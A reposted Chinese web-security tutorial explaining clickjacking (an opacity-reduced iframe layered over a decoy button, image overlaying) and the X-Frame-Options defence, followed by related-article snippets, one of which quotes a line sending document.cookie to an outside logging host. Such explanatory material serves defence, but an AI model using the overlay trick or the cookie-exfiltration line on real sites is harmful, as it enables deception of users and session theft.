点击劫持(ClickJacking)

摘要:
点击劫持通过一种视觉上的欺骗手段,将用户对页面A的操作转移到隐藏的页面B上,以此达到让用户在不知情的情况下完成B页面上的特定任务,达到非法目的。实现手法iframe:iframe{900px;height:250px;/*Useabsolutepositioningtolineupupdatebuttonwithfakebutton*/position:absolute;top:-195px;left:-740px;/*Hidefromview*/z-index:2;-moz-opacity:0.5;opacity:0.5;filter:alpha;}通过控制iframe的长、宽,左、上的位置,可以把iframe页面内的任意部分覆盖到任何地方。同时设置iframe的position为absolute,并将z-index的值设置为最大。最后通过设置opacity来控制iframe页面的透明度,0-1,0表示完全透明。防御ClickJacking禁止跨域iframeX-Frame-Options:三个可选值,支持的浏览器有IE8+、Opera10.50+、Safari4+、Chrome4.1.249.1042+、Firefox3.6.9

点击劫持

通过一种视觉上的欺骗手段,将用户对页面 A 的操作转移到隐藏的页面 B 上,以此达到让用户在不知情的情况下完成 B 页面上的特定任务,达到非法目的。其中,可以转移的操作有 “点击”、“拖拽”、“滑动” 等。

点击劫持(ClickJacking)第1张

实现手法

iframe:

iframe {
     900px;
    height: 250px;

    /* Use absolute positioning to line up update button with fake button */
    position: absolute;
    top: -195px;
    left: -740px;

    /* Hide from view */
    z-index: 2;
    -moz-opacity: 0.5;
    opacity: 0.5;
    filter: alpha(opacity=0.5);
}

通过控制 iframe 的长、宽,左、上的位置,可以把 iframe 页面内的任意部分覆盖到任何地方。同时设置 iframe 的 position 为 absolute,并将 z-index 的值设置为最大(iframe 处于页面的最上层)。最后通过设置 opacity 来控制 iframe 页面的透明度,0-1,0 表示完全透明。

CSIO(Cross Site Image Overlaying)

CSIO,跨站点图片覆盖通过调整图片的 style 使得图片能够覆盖在指定的位置,例如

<a href="http://disenchant.ch">

<img src="http://disenchant.ch/powered.jpg" />

</a>

当用户点击图片时,实际访问的不再是被覆盖的页面在该位置原有的那个链接。

防御 ClickJacking

禁止跨域 iframe【frame busting,Not good】

X-Frame-Options:三个可选值(DENY、SAMEORIGIN、ALLOW-FROM origin),支持的浏览器有 IE 8+、Opera 10.50+、Safari 4+、Chrome 4.1.249.1042+、Firefox 3.6.9

免责声明:文章转载自《点击劫持(ClickJacking)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇sudo配置临时取得root权限iOS懒加载下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

iframe的基本使用及利用nginx解决iframe跨域

一.场景 在前端大屏页面中,用iframe嵌套了手机模拟器,手机模拟器进入某个页面,这个页面调用接口实现单点登录 前端大屏地址:https://域名1:7443/1.html    通过nginx访问的页面 不可以调用成功接口的手机端地址:https://域名1/st_app/zlj_homepage/tourists_ys.html?utype=999...

Iframe 参数列表

<Iframe src="http://t.zoukankan.com/example.htm" heitht="100"></IFRAME>  example.htm 是被嵌入的页面,标签 <IFRAME> 还有一些可用的参数设置如下:  margin网页中内容在表格右侧的预留宽度;例如:marginwidth="20...

React Iframe 使用探索

作者后端经验比较丰富,近期要做跨域跨前端框架的前端页面展示,自然联想到了 IFRAME 方法,细致了解下来发现它可以用来解决很多棘手问题,包括: 跨域问题 Ajax 前进后退问题 异步上传问题 跨框架问题 父页面 基础 React 框架 import React, { PureComponent } from 'react'; export de...

通过iframe标签绕过csp

iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口。 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不...

IFrame自适应大小(全屏已实现)

近日做项目中用到页面中嵌套iframe,想要实现自适应大小,并且在IE中按F11键全屏时也可以自适应大小。 在网上搜来的代码多数只适应页面中只有单个iframe情况,但笔者页面还有一个logo图片。 经反复实现,如下代码可实现: <html> <html> <head> <meta http-equiv="Cont...

多个iframe的刷新问题

我们的系统有个公用的弹出框,弹出框html结构是在顶层页面里的。一般弹出框里的内容,单独做个页面,嵌入iframe里面。就可以在弹出框里显示要显示的内容。但是出现一个问题是,有时候弹出框里的操作不是单一的,就像这次的操作。在弹出框里有个分拣操作,这个操作力选中目标文件夹的时候又有一个新建文件夹的操作。选择新建文件夹-新建文件夹成功后,还需要返回到分拣操作的...